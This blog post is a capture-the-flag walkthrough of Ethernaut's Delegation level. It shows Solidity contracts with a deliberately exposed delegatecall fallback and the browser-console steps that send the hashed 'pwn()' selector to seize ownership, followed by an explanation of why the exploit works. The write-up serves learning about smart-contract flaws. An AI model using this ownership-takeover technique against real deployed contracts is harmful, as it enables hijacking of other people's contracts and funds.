DEV Community

Cover image for Delegation - Level 06
Stefan Alfbo
Stefan Alfbo

Posted on

Delegation - Level 06

Problem statement

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

  • Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
  • Fallback methods
  • Method ids
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

Solution

Start with creating a new contract for the current level by clicking on the button, Get new instance. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and create a data payload variable.

const payload = web3.utils.keccak256("pwn()")
Enter fullscreen mode Exit fullscreen mode

Send that payload to the contracts fallback function.

await contract.sendTransaction({data: payload})
Enter fullscreen mode Exit fullscreen mode

Control that you are the owner of the contract.

(await contract.owner()) === player
Enter fullscreen mode Exit fullscreen mode

If true, then finish up the challenge by clicking on the button, Submit instance, to commit and update the progress on the ethernaut contract.

Explanation

The name of the challenge gives away where the vulnerability may be located, delegatecall.

We want to update the state of the owner of the Delegation contract to our address.

There are no code in the Delegation contract that updates the owner state.

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

What we can see though is that there is a call to an other contract, and that has always a potential to be dangerous.

(bool result,) = address(delegate).delegatecall(msg.data);
Enter fullscreen mode Exit fullscreen mode

As we can see in the Delegate contract there is at least code there for changing the owner, the function pwn.

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}
Enter fullscreen mode Exit fullscreen mode

It happens to be the case that the low level function delegatecall works in ways that might not be obvious at first glance.

delegatecall is a "blind" call to a function on a contract and it's all given by the payload. We are using the library web3 to construct our payload which is based on the function name we want to call on the Delegate contract.

const payload = web3.utils.keccak256("pwn()")

// payload = 0xdd365b8b15d5d78ec041b851b68c8b985bee78bee0b87c4acf261024d8beabab
Enter fullscreen mode Exit fullscreen mode

All we need is to send the hash of the function name with the sendTransaction call.

await contract.sendTransaction({data: payload})
Enter fullscreen mode Exit fullscreen mode

The delegatecall will then make a call to the pwn() function on the Delegate contract, and here is the magic. The delegatecall will not change the context it is executed in, it runs the code of Delegate inside the context of the Delegation contract.

Since both contracts has the address public owner state it will result that the pwn function will update the Delegation.owner variable instead. So when the transactions has been confirmed then the owner has been updated on the Delegation contract, and we reached our goal!

The take away from the level author says it all.

Take away

Resources

Top comments (0)